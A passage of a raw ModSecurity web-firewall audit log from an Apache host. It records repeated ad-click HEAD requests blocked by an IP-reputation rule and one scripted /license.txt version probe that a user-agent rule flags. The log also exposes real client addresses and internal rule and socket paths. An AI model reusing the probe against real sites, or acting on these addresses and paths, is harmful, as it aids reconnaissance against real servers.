X-Real-IP: 95.134.102.178
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--5ae79e42-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5ae79e42-E--
--5ae79e42-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618127308 6111 (- - -)
Stopwatch2: 1789273618127308 6111; combined=4528, p1=328, p2=3865, p3=72, p4=7, p5=255, sr=163, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5ae79e42-Z--
--ea534d72-A--
[13/Sep/2026:07:26:58.221291 +0300] aqYmEkwu1RSkptiiNIXv0QAAAJM 95.134.102.128 59594 127.0.0.1 7081
--ea534d72-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.128
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--ea534d72-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--ea534d72-E--
--ea534d72-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618215519 5822 (- - -)
Stopwatch2: 1789273618215519 5822; combined=4480, p1=317, p2=3857, p3=61, p4=6, p5=239, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ea534d72-Z--
--54f9b41d-A--
[13/Sep/2026:07:26:58.377690 +0300] aqYmEisVWymXUono-eRRQgAAAAQ 151.243.174.85 59608 127.0.0.1 7081
--54f9b41d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.85
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--54f9b41d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--54f9b41d-E--
--54f9b41d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618370517 7213 (- - -)
Stopwatch2: 1789273618370517 7213; combined=5646, p1=280, p2=4967, p3=67, p4=7, p5=325, sr=103, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--54f9b41d-Z--
--d99f0658-A--
[13/Sep/2026:07:26:58.388234 +0300] aqYmEmM7dE9KgIIOpQhh-gAAAMU 95.134.102.128 59618 127.0.0.1 7081
--d99f0658-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.128
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--d99f0658-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d99f0658-E--
--d99f0658-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618382019 6256 (- - -)
Stopwatch2: 1789273618382019 6256; combined=4627, p1=272, p2=3944, p3=151, p4=9, p5=251, sr=130, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d99f0658-Z--
--7111da76-A--
[13/Sep/2026:07:26:58.494244 +0300] aqYmEmM7dE9KgIIOpQhiAAAAAM0 95.134.102.123 59646 127.0.0.1 7081
--7111da76-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--7111da76-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--7111da76-E--
--7111da76-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618487576 6725 (- - -)
Stopwatch2: 1789273618487576 6725; combined=4598, p1=283, p2=3912, p3=74, p4=7, p5=322, sr=132, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7111da76-Z--
--dbd2566e-A--
[13/Sep/2026:07:26:58.769550 +0300] aqYmEmM7dE9KgIIOpQhiAQAAANc 95.134.102.127 59680 127.0.0.1 7081
--dbd2566e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.127
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--dbd2566e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--dbd2566e-E--
--dbd2566e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618763087 6502 (- - -)
Stopwatch2: 1789273618763087 6502; combined=4662, p1=304, p2=4014, p3=73, p4=7, p5=264, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dbd2566e-Z--
--963fd72b-A--
[13/Sep/2026:07:26:58.872595 +0300] aqYmEkwu1RSkptiiNIXv0wAAAIY 95.134.102.135 59690 127.0.0.1 7081
--963fd72b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--963fd72b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--963fd72b-E--
--963fd72b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618866942 5744 (- - -)
Stopwatch2: 1789273618866942 5744; combined=4215, p1=214, p2=3616, p3=77, p4=6, p5=302, sr=93, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--963fd72b-Z--
--3f35570e-A--
[13/Sep/2026:07:26:59.612041 +0300] aqYmE2M7dE9KgIIOpQhiBAAAAM8 95.134.102.162 59752 127.0.0.1 7081
--3f35570e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.162
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--3f35570e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--3f35570e-E--
--3f35570e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273619606127 5961 (- - -)
Stopwatch2: 1789273619606127 5961; combined=4466, p1=246, p2=3805, p3=65, p4=7, p5=343, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3f35570e-Z--
--24bd2350-A--
[13/Sep/2026:07:27:01.138760 +0300] aqYmFSsVWymXUono-eRRSQAAABc 151.243.174.177 59836 127.0.0.1 7081
--24bd2350-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.177
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--24bd2350-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--24bd2350-E--
--24bd2350-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273621129748 9073 (- - -)
Stopwatch2: 1789273621129748 9073; combined=6844, p1=238, p2=6124, p3=110, p4=9, p5=363, sr=103, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--24bd2350-Z--
--b5416f5d-A--
[13/Sep/2026:07:27:01.255851 +0300] aqYmFSsVWymXUono-eRRSgAAABg 151.243.174.221 59838 127.0.0.1 7081
--b5416f5d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.221
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--b5416f5d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b5416f5d-E--
--b5416f5d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273621244799 11109 (- - -)
Stopwatch2: 1789273621244799 11109; combined=7358, p1=826, p2=5970, p3=110, p4=11, p5=441, sr=387, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b5416f5d-Z--
--1dd5fe3a-A--
[13/Sep/2026:07:27:01.382359 +0300] aqYmFWM7dE9KgIIOpQhiBwAAAMY 95.134.102.127 59844 127.0.0.1 7081
--1dd5fe3a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.127
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--1dd5fe3a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1dd5fe3a-E--
--1dd5fe3a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273621367802 14612 (- - -)
Stopwatch2: 1789273621367802 14612; combined=10743, p1=308, p2=5401, p3=140, p4=13, p5=4880, sr=132, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1dd5fe3a-Z--
--34835178-A--
[13/Sep/2026:07:27:04.329447 +0300] aqYmGEwu1RSkptiiNIXv1gAAAJg 45.91.4.237 59898 127.0.0.1 7081
--34835178-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.237
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--34835178-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--34835178-E--
--34835178-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273624323572 5921 (- - -)
Stopwatch2: 1789273624323572 5921; combined=4401, p1=269, p2=3776, p3=61, p4=7, p5=288, sr=135, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--34835178-Z--
--81ba8924-A--
[13/Sep/2026:07:27:04.641525 +0300] aqYmGEwu1RSkptiiNIXv2AAAAIU 209.101.128.77 59918 127.0.0.1 7081
--81ba8924-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.77
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--81ba8924-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--81ba8924-E--
--81ba8924-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273624636062 5508 (- - -)
Stopwatch2: 1789273624636062 5508; combined=4107, p1=224, p2=3535, p3=63, p4=6, p5=279, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--81ba8924-Z--
--d8877130-A--
[13/Sep/2026:07:27:04.899524 +0300] aqYmGGM7dE9KgIIOpQhiCwAAANE 45.91.4.188 59926 127.0.0.1 7081
--d8877130-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.188
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--d8877130-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d8877130-E--
--d8877130-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273624893747 5819 (- - -)
Stopwatch2: 1789273624893747 5819; combined=4207, p1=249, p2=3622, p3=61, p4=6, p5=269, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d8877130-Z--
--86491e47-A--
[13/Sep/2026:07:27:14.432971 +0300] aqYmImM7dE9KgIIOpQhiDgAAANc 188.166.231.242 38348 127.0.0.1 7081
--86491e47-B--
GET /license.txt HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 188.166.231.242
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.27.1
--86491e47-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--86491e47-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/license.txt"] [unique_id "aqYmImM7dE9KgIIOpQhiDgAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789273634338922 94095 (- - -)
Stopwatch2: 1789273634338922 94095; combined=4207, p1=258, p2=3894, p3=0, p4=0, p5=55, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--86491e47-Z--
--e2fce057-A--
[13/Sep/2026:07:27:57.308271 +0300] aqYmTWM7dE9KgIIOpQhiEgAAANU 45.91.4.62 44354 127.0.0.1 7081
--e2fce057-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.62
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--e2fce057-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e2fce057-E--
--e2fce057-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273677299103 9250 (- - -)
Stopwatch2: 1789273677299103 9250; combined=6320, p1=345, p2=5435, p3=84, p4=8, p5=447, sr=143, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e2fce057-Z--
--f40d506d-A--
[13/Sep/2026:07:27:57.647594 +0300] aqYmTUwu1RSkptiiNIXv2QAAAIo 209.101.128.18 44370 127.0.0.1 7081
--f40d506d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.18
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f40d506d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f40d506d-E--
--f40d506d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273677639398 8304 (- - -)
Stopwatch2: 1789273677639398 8304; combined=5787, p1=389, p2=5005, p3=90, p4=10, p5=292, sr=227, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f40d506d-Z--
--f5a14070-A--
[13/Sep/2026:07:27:57.996034 +0300] aqYmTWM7dE9KgIIOpQhiEwAAANM 209.101.128.215 44380 127.0.0.1 7081
--f5a14070-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.215
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f5a14070-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f5a14070-E--
--f5a14070-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273677988864 7240 (- - -)
Stopwatch2: 1789273677988864 7240; combined=5266, p1=291, p2=4591, p3=83, p4=8, p5=292, sr=125, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f5a14070-Z--
--392ee870-A--
[13/Sep/2026:07:28:06.488092 +0300] aqYmVjTJ6xTvcJoem7f2ewAAAFU 151.243.174.120 34530 127.0.0.1 7081
--392ee870-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.120
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--392ee870-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--392ee870-E--
--392ee870-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273686481877 6256 (- - -)
